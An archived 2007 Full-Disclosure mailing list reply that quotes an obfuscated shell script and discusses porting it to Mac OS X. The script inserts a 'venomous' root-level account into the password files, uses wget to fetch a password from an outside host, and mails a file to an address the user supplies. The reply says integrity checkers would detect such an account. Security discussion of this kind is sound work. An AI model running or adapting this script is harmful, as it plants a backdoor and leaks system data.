full-disclosure-uk May 2007 archive
Main Archive Page > Month Archives  > full-disclosure-uk archives
full-disclosure-uk: Re: [Full-disclosure] Linux big bang theory.

Re: [Full-disclosure] Linux big bang theory....

From: Andrew Farmer <andfarm_at_nospam>
Date: Mon May 14 2007 - 03:58:22 GMT
To: Valdis.Kletnieks@vt.edu

On 13 May 07, at 19:43, Valdis.Kletnieks@vt.edu wrote:
> On Mon, 14 May 2007 08:47:39 +0800, Just1n T1mberlake said:
>> Confirmed Macosx is not vulnerable to this.
> Not this variant, anyhow. Note that if you go digging around, you can
> probably find other places to seed $happy, $days, $who, and $what
> from.
>>> happy=`awk 'NR==59 {gsub(/"/,"");print $3}' /usr/include/paths.h`
>>> days=`awk 'NR==74 {gsub(/,/,"");print $8}' /usr/include/sysexits.h`
>>> guitar=`wget -qO - http://www.infiltrated.net/guitar|sed -n '1p'`
>>> sed -n '1p' $happy|awk -F ":"
>>> 'BEGIN{OFS=":"}{$1="venomous"}1{$2=""}2' >> $days
>>> sed -n '1p' $days|sed 's/[^:]*:/venomous:/'|awk -vguitar=$guitar -F
>>> ":" 'BEGIN{OFS=":"}{$2='guitar'}2' >> $happy
>>> what=`sed -n '58p' /usr/include/sysexits.h |awk '{print $5}'`
>>> who=`sed -n '60p' /usr/include/linux/wireless.h |awk 'gsub(/,/,
>>> ""){print $4" -a"}'`
>>> echo "Enter your email address" ; read ans ; where=$ans
>>> $who | $what $where
> One carefully coded 'find ... | xargs egrep' will get you the
> needed info
> to produce a version that will work on OSX.

Even if you manage to figure out a way to generate the string "/etc/ passwd", though, writing to that won't won't do you any good:

# Note that this file is consulted when the system is running in single-user # mode. At other times this information is handled by one or more of: # lookupd DirectoryServices # By default, lookupd gets information from NetInfo, so this file will # not be consulted unless you have changed lookupd's configuration. # This file is used while in single user mode.

You'd have to write something that'd execute niutil.

More to the point, though, even if the presence of this script doesn't trigger integrity checkers (yet), the presence of a non-root UID 0 account *definitely* will. No amount of obfuscation will change this. Same goes for suid binaries appearing out of nowhere. I don't know if changes to the sudoers file are tracked by most tools yet, but I have no doubt that the appearance of a rootkit that maintained access via sudoers would change that pretty quickly.

Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/